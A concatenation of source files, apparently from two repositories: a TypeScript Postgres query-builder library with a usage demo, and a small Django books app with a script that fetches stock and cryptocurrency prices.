completedValues = Array.isArray(values) ? completeKeysWithDefault(values) : values, colsSQL = cols(Array.isArray(completedValues) ? completedValues[0] : completedValues), valuesSQL = Array.isArray(completedValues) ? mapWithSeparator(completedValues as Insertable[], sql<SQL>`, `, v => sql<SQL>`(${vals(v)})`) : sql<SQL>`(${vals(completedValues)})`, query = sql<SQL>`INSERT INTO ${table} (${colsSQL}) VALUES ${valuesSQL} RETURNING *`, rows = await query.run(client); return Array.isArray(completedValues) ? rows : rows[0]; } export interface UpsertAction { $action: 'INSERT' | 'UPDATE' }; export const upsert: UpsertSignatures = async function (client: Queryable, table: Table, values: Insertable | Insertable[], uniqueCols: Column | Column[], noNullUpdateCols: Column | Column[] = []): Promise<any> { if (!Array.isArray(uniqueCols)) uniqueCols = [uniqueCols]; if (!Array.isArray(noNullUpdateCols)) noNullUpdateCols = [noNullUpdateCols]; const completedValues = Array.isArray(values) ? completeKeysWithDefault(values) : values, colsSQL = cols(Array.isArray(completedValues) ? completedValues[0] : completedValues), valuesSQL = Array.isArray(completedValues) ? mapWithSeparator(completedValues as Insertable[], sql`, `, v => sql`(${vals(v)})`) : sql`(${vals(completedValues)})`, nonUniqueCols = (Object.keys(Array.isArray(completedValues) ? completedValues[0] : completedValues) as Column[]) .filter(v => !uniqueCols.includes(v)), uniqueColsSQL = mapWithSeparator(uniqueCols.slice().sort(), sql`, `, c => c), updateColsSQL = mapWithSeparator(nonUniqueCols.slice().sort(), sql`, `, c => c), updateValuesSQL = mapWithSeparator(nonUniqueCols.slice().sort(), sql`, `, c => noNullUpdateCols.includes(c) ? sql`CASE WHEN EXCLUDED.${c} IS NULL THEN ${table}.${c} ELSE EXCLUDED.${c} END` : sql`EXCLUDED.${c}`); // the added-on $action = 'INSERT' | 'UPDATE' key takes after SQL Server's approach to MERGE // (and on the use of xmax for this purpose, see: https://stackoverflow.com/questions/39058213/postgresql-upsert-differentiate-inserted-and-updated-rows-using-system-columns-x) const query = sql<SQL>`INSERT INTO ${table} (${colsSQL}) VALUES ${valuesSQL} ON CONFLICT (${uniqueColsSQL}) DO UPDATE SET (${updateColsSQL}) = ROW(${updateValuesSQL}) RETURNING *, CASE xmax WHEN 0 THEN 'INSERT' ELSE 'UPDATE' END AS "$action"`; // console.log(query.compile()); const rows = await query.run(client); return Array.isArray(completedValues) ? rows : rows[0]; } export const update: UpdateSignatures = async function (client: Queryable, table: Table, values: Updatable, where: Whereable): Promise<any[]> { // note: the ROW() constructor below is required in Postgres 10+ if we're updating a single column // more info: https://www.postgresql-archive.org/Possible-regression-in-UPDATE-SET-lt-column-list-gt-lt-row-expression-gt-with-just-one-single-column0-td5989074.html const query = sql<SQL>`UPDATE ${table} SET (${cols(values)}) = ROW(${vals(values)}) WHERE ${where} RETURNING *`, rows = await query.run(client); return rows; } // the 'where' argument is not optional on delete because (a) you don't want to wipe your table // by forgetting it, and (b) if you do want to wipe your table, maybe use truncate? export const deletes: DeleteSignatures = async function // sadly, delete is a reserved word (client: Queryable, table: Table, where: Whereable): Promise<any[]> { const query = sql<SQL>`DELETE FROM ${table} WHERE ${where} RETURNING *`, rows = await query.run(client); return rows; } type TruncateIdentityOpts = 'CONTINUE IDENTITY' | 'RESTART IDENTITY'; type TruncateForeignKeyOpts = 'RESTRICT' | 'CASCADE'; interface TruncateSignatures { (client: Queryable, table: Table | Table[], optId: TruncateIdentityOpts): Promise<void>; (client: Queryable, table: Table | Table[], optFK: TruncateForeignKeyOpts): Promise<void>; (client: Queryable, table: Table | Table[], optId: TruncateIdentityOpts, optFK: TruncateForeignKeyOpts): Promise<void>; } export const truncate: TruncateSignatures = async function (client: Queryable, table: Table | Table[], ...opts: string[]): Promise<void> { if (!Array.isArray(table)) table = [table]; const tables = mapWithSeparator(table, sql`, `, t => t), query = sql<SQL>`TRUNCATE ${tables}${raw((opts.length ? ' ' : '') + opts.join(' '))}`; await query.run(client); } interface OrderSpec { by: SQL, direction: 'ASC' | 'DESC', nulls?: 'FIRST' | 'LAST', } interface SelectOptions { order?: OrderSpec[]; limit?: number, offset?: number, columns?: Column[], } export const select: SelectSignatures = async function ( client: Queryable, table: Table, where: Whereable = {}, options: SelectOptions = {}, count: boolean = false, ): Promise<any[]> { const colsSQL = !options.columns ? raw('*') : cols(options.columns), whereSQL = Object.keys(where).length > 0 ? [sql` WHERE `, where] : [], orderSQL = !options.order ? [] : [sql` ORDER BY `, ...mapWithSeparator(options.order, sql`, `, o => sql`${o.by} ${raw(o.direction)}${o.nulls ? sql` NULLS ${raw(o.nulls)}` : []}`)], limitSQL = options.limit === undefined ? [] : sql` LIMIT ${raw(String(options.limit))}`, offsetSQL = options.offset === undefined ? [] : sql` OFFSET ${raw(String(options.offset))}`; const query = sql<SQL>`SELECT ${count ? sql`count(${colsSQL})` : colsSQL} FROM ${table}${whereSQL}${orderSQL}${limitSQL}${offsetSQL}`, rows = query.run(client); return rows; } // you might argue that 'selectOne' offers little that you can't get with destructuring assignment // and plain 'select' -- i.e. let[x] = select(...) -- but a thing that is definitely worth having // is '| undefined' in the return signature, because the result of indexing never includes undefined // (see e.g. https://github.com/Microsoft/TypeScript/issues/13778) export const selectOne: SelectOneSignatures = async function (client: Queryable, table: Table, where: Whereable = {}, options: SelectOptions = {}): Promise<any> { const limitedOptions = Object.assign({}, options, { limit: 1 }), rows = await select(client, table as any, where as any, limitedOptions); return rows[0]; } type CountResult = [{ count: string }]; export const count: CountSignatures = async function (client: Queryable, table: Table, where: Whereable = {}, options: SelectOptions = {}): Promise<number> { const rows = await select(client, table as any, where as any, options as any, true) as unknown as CountResult; return Number(rows[0].count); } // === transactions support === // these are the only meaningful values in Postgres: // see https://www.postgresql.org/docs/11/sql-set-transaction.html export enum Isolation { Serializable = "SERIALIZABLE", RepeatableRead = "REPEATABLE READ", ReadCommitted = "READ COMMITTED", SerializableRO = "SERIALIZABLE, READ ONLY", RepeatableReadRO = "REPEATABLE READ, READ ONLY", ReadCommittedRO = "READ COMMITTED, READ ONLY", SerializableRODeferrable = "SERIALIZABLE, READ ONLY, DEFERRABLE", } export namespace TxnSatisfying { export type Serializable = Isolation.Serializable; export type RepeatableRead = Serializable | Isolation.RepeatableRead; export type ReadCommitted = RepeatableRead | Isolation.ReadCommitted; export type SerializableRO = Serializable | Isolation.SerializableRO; export type RepeatableReadRO = SerializableRO | RepeatableRead | Isolation.RepeatableReadRO; export type ReadCommittedRO = RepeatableReadRO | ReadCommitted | Isolation.ReadCommittedRO; export type SerializableRODeferrable = SerializableRO | Isolation.SerializableRODeferrable; } export interface PoolClient<T extends Isolation | undefined> extends pg.PoolClient { transactionMode: T; } let txnSeq = 0; export async function transaction<T, M extends Isolation>( isolationMode: M, callback: (client: PoolClient<M>) => Promise<T> ): Promise<T> { const txnId = txnSeq++, txnClient = await pool.connect() as PoolClient<typeof isolationMode>, maxAttempts = config.dbTransactionAttempts, [delayMin, delayMax] = config.dbTransactionRetryDelayRange; txnClient.transactionMode = isolationMode; try { for (let attempt = 1; ; attempt++) { try { if (attempt > 1) console.log(`Retrying transaction #${txnId}, attempt ${attempt} of ${maxAttempts}`) await sql`START TRANSACTION ISOLATION LEVEL ${raw(isolationMode)}`.run(txnClient); const result = await callback(txnClient); await sql`COMMIT`.run(txnClient); return result; } catch (err) { await sql`ROLLBACK`.run(txnClient); // on trapping the following two rollback error codes, see: // https://www.postgresql.org/message-id/1368066680.60649.Y<EMAIL>Neo<EMAIL> // this is also a good read: // https://www.enterprisedb.com/blog/serializable-postgresql-11-and-beyond if (isDatabaseError(err, "TransactionRollback_SerializationFailure", "TransactionRollback_DeadlockDetected")) { if (attempt < maxAttempts) { const delayBeforeRetry = Math.round(delayMin + (delayMax - delayMin) * Math.random()); console.log(`Transaction #${txnId} rollback (code ${err.code}) on attempt ${attempt} of ${maxAttempts}, retrying in ${delayBeforeRetry}ms`); await wait(delayBeforeRetry); } else { console.log(`Transaction #${txnId} rollback (code ${err.code}) on attempt ${attempt} of ${maxAttempts}, giving up`); throw err; } } else { throw err; } } } } finally { (txnClient as any).transactionMode = undefined; txnClient.release(); } } // === SQL tagged template strings === interface SQLResultType { text: string; values: any[]; }; export function sql<T = SQL>(literals: TemplateStringsArray, ...expressions: T[]) { return new SQLFragment(Array.prototype.slice.apply(literals), expressions); } export class SQLFragment { constructor(private literals: string[], private expressions: SQLExpression[]) { } async run(queryable: Queryable) { const query = this.compile(); if (config.verbose) console.log(query); const { rows } = await queryable.query(query); return rows; } compile(result: SQLResultType = { text: '', values: [] }, currentAlias?: string) { result.text += this.literals[0]; for (let i = 1, len = this.literals.length; i < len; i++) { this.compileExpression(this.expressions[i - 1], result, currentAlias); result.text += this.literals[i]; } return result; } compileExpression(expression: SQL, result: SQLResultType = { text: '', values: [] }, currentAlias?: string) { if (expression instanceof SQLFragment) { // another SQL fragment? recursively compile this one expression.compile(result, currentAlias); } else if (typeof expression === 'string') { // if it's a string, it should be a x.Table or x.Columns type, so just needs quoting result.text += `"${expression}"`; } else if (expression instanceof DangerousRawString) { // Little Bobby Tables passes straight through ... result.text += expression.value; } else if (Array.isArray(expression)) { // an array's elements are compiled one by one for (let i = 0, len = expression.length; i < len; i++) this.compileExpression(expression[i], result, currentAlias); } else if (expression instanceof Parameter) { // parameters become placeholders, and a corresponding entry in the values array result.values.push(expression.value); result.text += '$' + String(result.values.length); // 1-based indexing } else if (expression === Default) { // a column default result.text += 'DEFAULT'; } else if (expression === self) { // alias to the latest column, if applicable if (!currentAlias) throw new Error(`The 'self' column alias has no meaning here`); result.text += `"${currentAlias}"`; } else if (expression instanceof ColumnNames) { // a ColumnNames-wrapped object -> quoted names in a repeatable order // or: a ColumnNames-wrapped array const columnNames = Array.isArray(expression.value) ? expression.value : Object.keys(expression.value).sort(); result.text += columnNames.map(k => `"${k}"`).join(', '); } else if (expression instanceof ColumnValues) { // a ColumnValues-wrapped object -> values (in above order) are punted as SQL fragments or parameters const columnNames = Object.keys(expression.value).sort(), columnValues = columnNames.map(k => (<any>expression.value)[k]); for (let i = 0, len = columnValues.length; i < len; i++) { const columnName = columnNames[i], columnValue = columnValues[i]; if (i > 0) result.text += ', '; if (columnValue instanceof SQLFragment || columnValue === Default) this.compileExpression(columnValue, result, columnName); else this.compileExpression(new Parameter(columnValue), result, columnName); } } else if (typeof expression === 'object') { // must be a Whereable object, so put together a WHERE clause const columnNames = Object.keys(expression).sort(); if (columnNames.length) { // if the object is not empty result.text += '('; for (let i = 0, len = columnNames.length; i < len; i++) { const columnName = columnNames[i], columnValue = (<any>expression)[columnName]; if (i > 0) result.text += ' AND '; if (columnValue instanceof SQLFragment) { result.text += '('; this.compileExpression(columnValue, result, columnName); result.text += ')'; } else { result.text += `"${columnName}" = `; this.compileExpression(new Parameter(columnValue), result, columnName); } } result.text += ')'; } else { // or if it is empty, it should always match result.text += 'TRUE'; } } else { throw new Error(`Alien object while interpolating SQL: ${expression}`); } } } // === supporting functions === const wait = (delayMs: number) => new Promise(resolve => setTimeout(resolve, delayMs)); const mapWithSeparator = <TIn, TSep, TOut>( arr: TIn[], separator: TSep, cb: (x: TIn, i: number, a: typeof arr) => TOut ): (TOut | TSep)[] => { const result: (TOut | TSep)[] = []; for (let i = 0, len = arr.length; i < len; i++) { if (i > 0) result.push(separator); result.push(cb(arr[i], i, arr)); } return result; } const completeKeysWithDefault = <T extends object>(objs: T[]): T[] => { // e.g. [{ x: 1 }, { y: 2 }] => [{ x: 1, y: Default }, { x: Default, y: 2}] const unionKeys = Object.assign({}, ...objs); for (let k in unionKeys) unionKeys[k] = Default; return objs.map(o => Object.assign({}, unionKeys, o)); } <file_sep>/src/demo.ts import * as db from "./core"; import * as s from "./schema"; (async () => { await (async () => { // setup (uses shortcut functions) const allTables: s.AllTables = ["appleTransactions", "authors", "books", "emailAuthentication", "tags"]; await db.truncate(db.pool, allTables, "CASCADE"); await db.insert(db.pool, "authors", [ { id: 1, name: "<NAME>", isLiving: false, }, { id: 123, name: "<NAME>", isLiving: false, }, { id: 456, name: "<NAME>", isLiving: false, } ]); const insertedBooks = await db.insert(db.pool, "books", [ { authorId: 1, title: "Pride and Prejudice", }, { authorId: 123, title: "Love in the Time of Cholera" } ]); db.insert(db.pool, "tags", [ { tag: "Spanish", bookId: insertedBooks[1].id }, { tag: "1980s", bookId: insertedBooks[1].id }, ]); })(); await (async () => { console.log('\n=== Simple manual SELECT ===\n'); const authorId = 1, query = db.sql<s.books.SQL>` SELECT * FROM ${"books"} WHERE ${{ authorId }}`, existingBooks: s.books.Selectable[] = await query.run(db.pool); console.log(existingBooks); })(); await (async () => { console.log('\n=== SELECT with a SQLFragment in a Whereable ===\n'); const authorId = 1, days = 7, query = db.sql<s.books.SQL>` SELECT * FROM ${"books"} WHERE ${{ authorId, createdAt: db.sql<s.books.SQL>` ${db.self} > now() - ${db.param(days)} * INTERVAL '1 DAY'`, }}`, existingBooks: s.books.Selectable[] = await query.run(db.pool); console.log(existingBooks); })(); await (async () => { console.log('\n=== Simple manual INSERT ===\n'); const newBook: s.books.Insertable = { authorId: 123, title: "One Hundred Years of Solitude", }, query = db.sql<s.books.SQL>` INSERT INTO ${"books"} (${db.cols(newBook)}) VALUES (${db.vals(newBook)})`, insertedBooks: s.books.Selectable[] = await query.run(db.pool); console.log(insertedBooks); })(); await (async () => { console.log('\n=== Many-to-one join (each book with its one author) ===\n'); type bookAuthorSQL = s.books.SQL | s.authors.SQL | "author"; type bookAuthorSelectable = s.books.Selectable & { author: s.authors.Selectable }; const query = db.sql<bookAuthorSQL>` SELECT ${"books"}.*, to_jsonb(${"authors"}.*) as ${"author"} FROM ${"books"} JOIN ${"authors"} ON ${"books"}.${"authorId"} = ${"authors"}.${"id"}`, bookAuthors: bookAuthorSelectable[] = await query.run(db.pool); console.log(bookAuthors); })(); await (async () => { console.log('\n=== One-to-many join (each author with their many books) ===\n'); // selecting all fields is, logically enough, permitted when grouping by primary key; // see: https://www.postgresql.org/docs/current/sql-select.html#SQL-GROUPBY and // https://dba.stackexchange.com/questions/158015/why-can-i-select-all-fields-when-grouping-by-primary-key-but-not-when-grouping-b type authorBooksSQL = s.authors.SQL | s.books.SQL; type authorBooksSelectable = s.authors.Selectable & { books: s.books.Selectable[] }; const query = db.sql<authorBooksSQL>` SELECT ${"authors"}.*, coalesce(json_agg(${"books"}.*) filter (where ${"books"}.* is not null), '[]') AS ${"books"} FROM ${"authors"} LEFT JOIN ${"books"} ON ${"authors"}.${"id"} = ${"books"}.${"authorId"} GROUP BY ${"authors"}.${"id"}`, authorBooks: authorBooksSelectable[] = await query.run(db.pool); console.dir(authorBooks, { depth: null }); })(); await (async () => { console.log('\n=== Alternative one-to-many join (using LATERAL) ===\n'); type authorBooksSQL = s.authors.SQL | s.books.SQL; type authorBooksSelectable = s.authors.Selectable & { books: s.books.Selectable[] }; // note: for consistency, and to keep JSON ops in the DB, we could instead write: // SELECT coalesce(jsonb_agg(to_jsonb("authors".*) || to_jsonb(bq.*)), '[]') FROM ... const query = db.sql<authorBooksSQL>` SELECT ${"authors"}.*, bq.* FROM ${"authors"} CROSS JOIN LATERAL ( SELECT coalesce(json_agg(${"books"}.*), '[]') AS ${"books"} FROM ${"books"} WHERE ${"books"}.${"authorId"} = ${"authors"}.${"id"} ) bq`, authorBooks: authorBooksSelectable[] = await query.run(db.pool); console.dir(authorBooks, { depth: null }); })(); await (async () => { console.log('\n=== Two-level one-to-many join (using LATERAL) ===\n'); type authorBookTagsSQL = s.authors.SQL | s.books.SQL | s.tags.SQL; type authorBookTagsSelectable = s.authors.Selectable & { books: (s.books.Selectable & { tags: s.tags.Selectable['tag'] })[] }; const query = db.sql<authorBookTagsSQL>` SELECT ${"authors"}.*, bq.* FROM ${"authors"} CROSS JOIN LATERAL ( SELECT coalesce(jsonb_agg(to_jsonb(${"books"}.*) || to_jsonb(tq.*)), '[]') AS ${"books"} FROM ${"books"} CROSS JOIN LATERAL ( SELECT coalesce(jsonb_agg(${"tags"}.${"tag"}), '[]') AS ${"tags"} FROM ${"tags"} WHERE ${"tags"}.${"bookId"} = ${"books"}.${"id"} ) tq WHERE ${"books"}.${"authorId"} = ${"authors"}.${"id"} ) bq`, authorBookTags: authorBookTagsSelectable[] = await query.run(db.pool); console.dir(authorBookTags, { depth: null }); })(); await (async () => { console.log('\n=== Querying a subset of fields ===\n'); const bookCols = <const>['id', 'title']; type BookDatum = s.books.OnlyCols<typeof bookCols>; const query = db.sql<s.books.SQL>`SELECT ${db.cols(bookCols)} FROM ${"books"}`, bookData: BookDatum[] = await query.run(db.pool); console.log(bookData); })(); await (async () => { console.log('\n=== Shortcut functions ===\n'); const authorId = 123, existingBooks = await db.select(db.pool, "books", { authorId }); console.log(existingBooks); const allBookTitles = await db.select(db.pool, "books", undefined, { columns: ['title'] }); console.log(allBookTitles); const lastButOneBook = await db.selectOne(db.pool, "books", { authorId }, { order: [{ by: "createdAt", direction: "DESC" }], offset: 1 }); console.log(lastButOneBook); const savedBooks = await db.insert(db.pool, "books", [{ authorId: 123, title: "One Hundred Years of Solitude", }, { authorId: 456, title: "Cheerio, and Thanks for All the Fish", }]); console.log(savedBooks); const fishBookId = savedBooks[1].id, properTitle = "So Long, and Thanks for All the Fish", [updatedBook] = await db.update(db.pool, "books", { title: properTitle }, { id: fishBookId } ); console.log(updatedBook); })(); await (async () => { console.log('\n=== Shortcut UPDATE with a SQLFragment in an Updatable ===\n'); const email = "<EMAIL>"; await db.insert(db.pool, "emailAuthentication", { email }); await db.update(db.pool, "emailAuthentication", { consecutiveFailedLogins: db.sql`${db.self} + 1`, lastFailedLogin: db.sql`now()`, }, { email }); })(); await (async () => { console.log('\n=== Shortcut UPSERT ===\n'); await db.insert(db.pool, "appleTransactions", { environment: 'PROD', originalTransactionId: '123456', accountId: 123, latestReceiptData: "5Ia+DmVgPHh8wigA", }); const newTransactions: s.appleTransactions.Insertable[] = [{ environment: 'PROD', originalTransactionId: '123456', accountId: 123, latestReceiptData: "TWFuIGlzIGRpc3Rp", }, { environment: 'PROD', originalTransactionId: '234567', accountId: 234, latestReceiptData: "bmd1aXNoZWQsIG5v", }], result = await db.upsert(db.pool, "appleTransactions", newTransactions, ["environment", "originalTransactionId"]); console.log(result); })(); await (async () => { console.log('\n=== Transaction ===\n'); const email = "<EMAIL>", result = await db.transaction(db.Isolation.Serializable, async txnClient => { const emailAuth = await db.selectOne(txnClient, "emailAuthentication", { email }); // do stuff with email record -- e.g. check a password, handle successful login -- // but remember everything non-DB-related in this function must be idempotent // since it might be called several times if there are serialization failures return db.update(txnClient, "emailAuthentication", { consecutiveFailedLogins: db.sql`${db.self} + 1`, lastFailedLogin: db.sql`now()`, }, { email }); }); console.log(result); })(); await db.pool.end(); })();
03babd6b7d14cee1af20223846f0507cb1802ecb
[ "Markdown", "SQL", "TypeScript" ]
4
SQL
jawj/mostly-ormless
bed52ec6531f1199701a804265d433684c708554
509273294cd79ee0a6c78c0058cc75da2cc1f344
refs/heads/master
<file_sep><html> <head> <title>Raw2Table</title> <style> td,th { padding: 5px; } </style> </head> <body> <form method="post"> <textarea name="raw" rows="20" cols="100"></textarea><br/> <input type="submit"> </form> <?php include "raw2table.php"; if(isset($_POST['raw'])): ?> <table cellspacing="0" border="1"> <tr> <th>Range</th> <th>Frekuensi</th> <th>Frekuensi Kumulatif</th> </tr> <?php $obj = new raw2table(); $data = $obj->convert_data($_POST['raw']); $row = 0; foreach ($obj->get_freq_dist_table($data) as $item) : ?> <tr> <td align="center"><?=$item['min']?> - <?=$item['max']?></td> <td align="center"><?=$item['freq']?></td> <td align="center"> <?php $fk += $obj->get_freq_dist_table($data)[$row]['freq']; echo $fk; $row++; ?> </td> </tr> <?php endforeach; ?> </table> <?php echo "<br/>"; echo "Total data : ".$obj->get_total_data($data)."<br/>"; echo "Minimal data : ".$obj->get_min($data)."<br/>"; echo "Maksimal data : ".$obj->get_max($data)."<br/>"; echo "Rentang data : ".$obj->get_range($data)."<br/>"; echo "Jumlah kelas : ".$obj->get_many_classes($data)."<br/>"; echo "Panjang per-kelas : ".$obj->get_long_class($data)."<br/>"; endif; ?> </body> </html>
d666593bc0389f9ebf7707149007b58f778bc0b3
[ "PHP" ]
1
PHP
kudaliar032/ProbabilitasStatistik
b75c99636e756aab8be4bb50b597d45169688010
f66ab659a267e9ad499384e1bea9fc97f93dfb5e
refs/heads/master
<repo_name>ronar/Full_search<file_sep>/README.md <h1>Machine learning Feature Selection Full Search algorithm with CV in C++</h1> A small program aimed to do machine learning using linear regression to predict the output for a new data. Data for this pragram could be found there: https://archive.ics.uci.edu/ml/datasets/MAGIC+Gamma+Telescope <h2>Important source files</h2> main.cpp - Main source file<br /> <file_sep>/full_search/main.cpp #include <windows.h> #include <iostream> #include <string> #include <sstream> #include <vector> #include <fstream> #include <stdio.h> #include "math.h" using namespace std; // Отбор признаков с использованием метода полного перебора // Шаг на спуске void gradient_step (double** &points, double &theta0, double &theta1, float a, int m) { double grad0 = 0, grad1 = 0; double x, y; for (int i = 0; i < m; i++) { x = points[i][0]; y = points[i][1]; grad0 += -(2.0 / m) * (y - ((theta1 * x) + theta0)); grad1 += -(2.0 / m) * x * (y - ((theta1 * x) + theta0)); } theta0 = theta0 - (a * grad0); theta1 = theta1 - (a * grad1); } // m - количество точек double full_search(double** &dataset, int m, int num_iterations, double &theta0, double &theta1, double learning_rate) { double err = 0; // Градиентный метод for(int i = 0; i < num_iterations; i++) { gradient_step(dataset, theta0, theta1, learning_rate, m); } float sum = 0; // Находим ошибку на данном множестве точек for (int s = 0; s < m; s++) { sum += pow(((theta0 + theta1 * dataset[s][0]) - dataset[s][1]), 2); } err = sum / m; // Ошибка return err; } int** get_first_last_test(int num_data_items, int num_folds) { // return[fold][firstIndex][lastIndex] для тестовых данных k-fold cross validation int interval = num_data_items / num_folds; int** result = new int *[num_folds]; // Парные индексы для каждого разбиения for (int i = 0; i < num_folds; ++i) result[i] = new int[2]; for (int k = 0; k < num_folds; ++k) { int first = k * interval; int last = (k+1) * interval - 1; result[k][0] = first; result[k][1] = last; } result[num_folds-1][1] = result[num_folds-1][1] + num_data_items % num_folds; return result; } double** get_train_data(double** dataset, int length, int num_folds, int fold) { int** first_and_last_test = get_first_last_test(length, num_folds); // Первый и последний индекс строк помеченных тестовыми int num_train = length - (first_and_last_test[fold][1] - first_and_last_test[fold][0] + 1); // общее количество строк - число тестовых строк double** result = new double * [num_train]; for (int i = 0; i < num_train; i++) result[i] = new double[]; int i = 0; // Индекс результирующих/тестовых данных int ia = 0; // Индекс во всем наборе while (i < num_train) { if (ia < first_and_last_test[fold][0] || ia > first_and_last_test[fold][1]) // Это строка тестового набора { result[i] = dataset[ia]; ++i; } ++ia; } return result; } double** get_test_data(double** dataset, int length, int num_folds, int fold) { // Возвращает указатель на тестовые данные int** first_and_last_test = get_first_last_test(length, num_folds); // Первый и последний индекс строк помеченных тестовыми int num_test = first_and_last_test[fold][1] - first_and_last_test[fold][0] + 1; double** result = new double *[num_test]; int ia = first_and_last_test[fold][0]; // Индеск во всем наборе for (int i = 0; i < num_test; ++i) { result[i] = dataset[ia]; // Индексы тестовых данных смежные ++ia; } return result; } double cross_validate(double** &dataset, int length, int num_folds, double learn_rate, int features_num) { double theta0 = 0.0, theta1 = 0.0; double err; int* cum_err = new int[2]; int num_iterations = 1000; // Число итераций cum_err[0] = 0; cum_err[1] = 0; for (int k = 0; k < num_folds; ++k) { double** train_data = get_train_data(dataset, length, num_folds, k); // Получаем обучающую выборку для разбиения double** test_data = get_test_data(dataset, length, num_folds, k); // Получаем тестовую выборку для разбиения err = full_search(train_data, 36, num_iterations, theta0, theta1, 0.0001); cout << "Обучающая выборка ****************" << endl; cout << "theta0 = " << theta0 << endl; cout << "theta1 = " << theta1 << endl; cum_err[0] += err; err = full_search(test_data, 12, num_iterations, theta0, theta1, 0.0001); cout << "Тестовая выборка *****************" << endl; cout << "theta0 = " << theta0 << endl; cout << "theta1 = " << theta1 << endl; cum_err[1] += err; } return (cum_err[0] * 1.0) / (cum_err[0] + cum_err[1]); // mean classification error } int main() { setlocale(0,"Russian"); ifstream input_set; // Поток с данными string line; // Строка в файле double **starting_set; // Массив в данными int features_num = 10; // Число признаков double j_best = 100000; int l = 0; // Создаем двумерный массив starting_set = new double *[20000]; for (int i = 0; i < 20000; i++) starting_set[i] = new double [10]; input_set.open("magic04.data"); // Читаем файл и загружаем данные в массив while(!input_set.eof()) { getline(input_set, line); for (int i = 0; i < line.length(); i++) { if (line[i] == ',') line[i] = ' '; } stringstream ss(line); float temp; vector<float> array; while (ss >> temp) array.push_back(temp); // splitted array for (int i = 0; i < 10; i++) { starting_set[l][i] = array[i]; } l++; } float a = 0.0001; // Learning rate int m = 50; // Количество точек //int num_nodes[3] = { 4, 7, 3 }; int num_folds = 4; // Создаем вектор подмножества признаков double** subset = new double *[m]; for (int i = 0; i < m; i++) subset[i] = new double [2]; for(int n = 0; n < features_num - 1; n++) for (int k = n + 1; k < features_num; k++) { // Выделяем признаки for(int i = 0; i < m; i++) { subset[i][0] = starting_set[i][n]; subset[i][1] = starting_set[i][k]; } double mce = cross_validate(subset, m, num_folds, a, features_num); // mean classification error across folds double mca = 1.0 - mce; cout << "CV error = " << mce << endl; } input_set.close(); system("PAUSE"); return(0); }
d2a69aa9635af82c9d9bc7dd02525e7dfc7edc36
[ "Markdown", "C++" ]
2
Markdown
ronar/Full_search
afbb9ff9e760645b0a8892c517411c971dc7ae42
8d5a15149e49ea1bf3d35a8785e098281606e7e1
refs/heads/master
<file_sep>package hwMaze; import java.util.Iterator; import java.util.LinkedList; import java.util.List; import java.util.concurrent.Callable; import java.util.concurrent.ExecutionException; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.Future; /** * This file needs to hold your solver to be tested. * You can alter the class to extend any class that extends MazeSolver. * It must have a constructor that takes in a Maze. * It must have the solve() method that returns the datatype List<Direction> * which will either be a reference to a list of steps to take or will * be null if the maze cannot be solved. */ public class StudentMTMazeSolver extends SkippingMazeSolver { private ExecutorService servicePool; public StudentMTMazeSolver(Maze maze) { super(maze); } public List<Direction> solve() { // TODO: Implement your code here List<Direction> directions = null; int processors = Runtime.getRuntime().availableProcessors(); //System.out.println(processors); servicePool = Executors.newFixedThreadPool(processors); LinkedList<DFS> tasks = new LinkedList<DFS>(); List<Future<List<Direction>>> futures = new LinkedList<Future<List<Direction>>>(); Choice firstChoice; try { firstChoice = firstChoice(maze.getStart()); int size = firstChoice.choices.size(); for(int index = 0; index < size; index++){ Choice currChoice = follow(firstChoice.at, firstChoice.choices.peek()); tasks.add(new DFS(currChoice, firstChoice.choices.pop())); } futures = servicePool.invokeAll(tasks); } catch (SolutionFound e2) { e2.printStackTrace(); } catch (InterruptedException e) { System.out.println("InterruptedException in StudentMTMazeSolver"); } servicePool.shutdown(); for(Future<List<Direction>> direction : futures){ try { if(direction.get() != null){ directions = direction.get(); } } catch (InterruptedException e) { System.out.println("InterruptedException in StudentMTMazeSolver 2"); } catch (ExecutionException e) { System.out.println("ExecutionException in StudentMTMazeSolver"); } } return directions; } private class DFS implements Callable<List<Direction>>{ Choice head; Direction choiceDir; public DFS(Choice head, Direction choiceDir){ this.head = head; this.choiceDir = choiceDir; } @Override public List<Direction> call() { // TODO Auto-generated method stub LinkedList<Choice> choiceStack = new LinkedList<Choice>(); Choice ch; try { choiceStack.push(head); while (!choiceStack.isEmpty()) { ch = choiceStack.peek(); if (ch.isDeadend()) { // backtrack. choiceStack.pop(); if (!choiceStack.isEmpty()) choiceStack.peek().choices.pop(); continue; } choiceStack.push(follow(ch.at, ch.choices.peek())); } // No solution found. return null; } catch (SolutionFound e) { Iterator<Choice> iter = choiceStack.iterator(); LinkedList<Direction> solutionPath = new LinkedList<Direction>(); while (iter.hasNext()) { ch = iter.next(); solutionPath.push(ch.choices.peek()); } solutionPath.push(choiceDir); if (maze.display != null){ maze.display.updateDisplay(); } return pathToFullPath(solutionPath); } } } }
68c1a1d6ea3864d911d311482f7c9a5bc1c6cc1b
[ "Java" ]
1
Java
psumbe/Maze_Solver
f5d78791f5139fab781c463d2c2200d6535b5ded
9e543420ba16930d6cda6589df26fc1aa12056a8
refs/heads/master
<file_sep>import requests import json from pprint import pprint def GetMSStock(): uh = requests.get('http://finance.google.com/finance/info?client=ig&q=MSFT') data = uh.content data = str(data.decode('utf-8')) data = data.replace('// [', '') data = data.replace("\n]\n", '') # print(data) print('Retrieved', len(data), 'characters') #data = data.decode("utf-8") js = json.loads(data) pprint(js) print('id', js['id']) return js <file_sep> #New and lean way to style pages, generic views from django.views import generic from .models import Book from django.views.generic.edit import CreateView from .models import GetBitcoinRate, GetAnyCoinRate from .StockModel import GetMSStock class IndexView(generic.ListView): template_name = 'books/index.html' BTC = GetBitcoinRate()[0]['price_usd'] ETH = GetAnyCoinRate('ethereum')[0]['price_usd'] MicrosoftStock = GetMSStock()['l_fix'] var2 = 200 def get_queryset(self): return Book.objects.all() def get_context_data(self, **kwargs): context = super(IndexView, self).get_context_data(**kwargs) context.update({'BTC': self.BTC, 'ETH': self.ETH, 'var2': self.var2, 'MicrosoftStock': self.MicrosoftStock}) return context class BookCreate(CreateView): model = Book fields = ['name', 'author', 'price', 'type', 'book_image'] class DetailView(generic.DetailView): model = Book template_name = 'books/detail.html'<file_sep>from django.db import models from django.core.urlresolvers import reverse import requests import urllib import json from pprint import pprint class Book(models.Model): def get_absoulte_url(self): return reverse('books:detail', kwargs={'pk': self.pk}) def __str__(self): return self.name + '-' + self.author name = models.CharField(max_length=100) author = models.CharField(max_length=100) price = models.CharField(max_length=100) type = models.CharField(max_length=100) book_image = models.CharField(max_length=1000) #CRUD - Create, read, update, delete #class table_name(models.Model): # attributes etc. 